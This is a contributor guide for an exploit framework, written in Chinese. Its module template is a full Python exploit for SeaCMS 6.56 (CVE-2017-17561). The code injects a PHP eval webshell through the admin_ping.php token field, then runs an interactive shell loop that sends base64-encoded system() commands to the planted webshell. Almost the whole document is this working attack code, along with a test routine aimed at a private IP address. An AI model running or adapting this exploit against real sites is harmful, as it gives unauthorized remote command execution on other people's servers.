Contributing to Exploit Framework

漏洞模块位于: ROOT/exploit/[Vendor]/[Exploit-Name] 其中 Vendor 为厂商名称, 如某CMS存在漏洞, Vendor即CMS名称, 英文小写 Exploit-Name 为漏洞名称, 纯英文小写, 尽量保持精炼简洁, 该文件为该漏洞的利用脚本

该文件模板如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests

try:
    from core.log import Log
except Exception as e:
    import sys
    sys.path.append("../../core/log")
    from Log import Log

class Exploit:
	# 定义该漏洞利用的配置信息
	# 格式: json
	# 备注: 
	#	necessity 表示该参数是否必须配置
	#	default 为该参数的默认值
    config = {
        "remote_host": {"default": "127.0.0.1", "necessity":True},
        "remote_port": {"default": 80, "necessity":True},
        "admin_path": {"default": "admin", "necessity":True},
        # "session_auth": {"default": True, "necessity":True},
        "session_id": {"default": "", "necessity":True},
        # "admin_user": {"default": "admin", "necessity":True},
        # "admin_pwd": {"default": "admin", "necessity":True},
        "webshell": {"default": "eval($_REQUEST[__PASSWORD__])", "necessity":True},
        "shell_pwd":{"default": "c", "necessity":True},
        "interactive":{"default":True, "necessity":True}
    }
    # 如果该漏洞可以 GetShell, 该变量存储 shell 的 url
    webshell_url = ""

    def __init__(self):
        pass

    def exploit(self):
        host = self.get_config("remote_host")
        port = self.get_config("remote_port")
        admin_path = self.get_config("admin_path")
        # session_auth = self.get_config("session_auth")
        session_id = self.get_config("session_id")
        # username = self.get_config("username")
        # password = self.get_config("password")
        webshell_password = self.get_config("shell_pwd")
        webshell = self.get_config("webshell").replace("__PASSWORD__", webshell_password)
        url = "http://%s:%d/%s/admin_ping.php?action=set" % (host, port, admin_path)
        data = {
            "weburl":"www.seacms.net",
            "token":"123456789\";$var=%s.\"" % (webshell)
        }
        cookies = {
            "PHPSESSID":session_id
        }
        Log.info("Data: %s" % (data))
        Log.info("Session: %s" % (cookies))
        try:
            response = requests.post(url, data=data, cookies=cookies)
            self.webshell_url = "http://%s:%d/data/%s/ping.php" % (host, port, admin_path)
            if response.status_code == 200:
                Log.success("Exploit success!")
                Log.success("Webshell is stored at: %s" % (self.webshell_url))
                Log.success("Password is %s" % (webshell_password))
                if self.get_config("interactive") == True:
                    self.interactive()
                return True
            else:
                return False
        except Exception as e:
            Log.error(str(e))
            return False

    def show_options(self):
    	'''
    	输出该模块的选项信息 (即之前定义的 config)
   		由 options 命令触发
   		通常不需要改动
    	'''
        Log.warning("Options\t\tNecessity\t\tDefault")
        Log.warning("-------\t\t---------\t\t-------")
        for key in sorted(self.config.keys()):
            Log.warning("%s\t\t%s\t\t\t%s" % (key, self.config[key]["necessity"], self.get_config(key)))

    def set_config(self, key, value):
	 	'''
	 	对模块的参数进行修改
		由 set 命令触发
		通常不需要改动
	 	'''
        if key in self.config.keys():
            self.config[key]["default"] = value
        else:
            Log.error("No such option!")

    def get_config(self, key):
        return self.config[key]["default"]

    def interactive(self):
    	'''
		在成功拿到 WebShell 之后, 可以利用该函数获得一个伪终端
		这里判断了 webshell_url 这个变量是否为空, 因此, 在拿到 webshell 地址后, 需要将 webshell_url 进行设置
    	'''
        if self.webshell_url == "":
            Log.error("Webshell is dead!")
            return
        while True:
            command = raw_input("$ ")
            if command == "exit":
                break
            data = {
                self.get_config("shell_pwd"):"system(base64_decode('%s'));" % (command.encode("base64").replace("\n", ""))
            }
            print data
            try:
                Log.success(requests.post(self.webshell_url, data=data).content)
            except Exception as e:
                Log.error(str(e))
                return False

    def show_info(self):
    	'''
    	模块(漏洞)的详细信息, 包括名称, 影响版本, 作者, 参考链接等等
    	该函数在模块被加载的时候自动调用
    	需要将其中的信息修改为对应的模块信息
    	'''
        Log.info("Name: SeaCMS(6.56) Authenticated GetShell (CVE-2017-17561)")
        Log.info("Effected Version: <=6.56")
        Log.info("Author: WangYihang")
        Log.info("Email: [email protected]")
        Log.info("Refer:")
        Log.info("\thttps://gist.github.com/WangYihang/9507e2efdceb67a5bc2761200f19f213")
        Log.info("\thttps://nvd.nist.gov/vuln/detail/CVE-2017-17561")

def main():
	'''
	测试用例
	'''
    exploit = Exploit()
    exploit.show_info()
    exploit.set_config("remote_host", "192.168.187.1")
    exploit.set_config("session_id", "b6aia8tltrqtie7h0pjojelml3")
    exploit.set_config("shell_pwd", "hacker")
    exploit.show_options()
    exploit.exploit()

if __name__ == "__main__":
    main()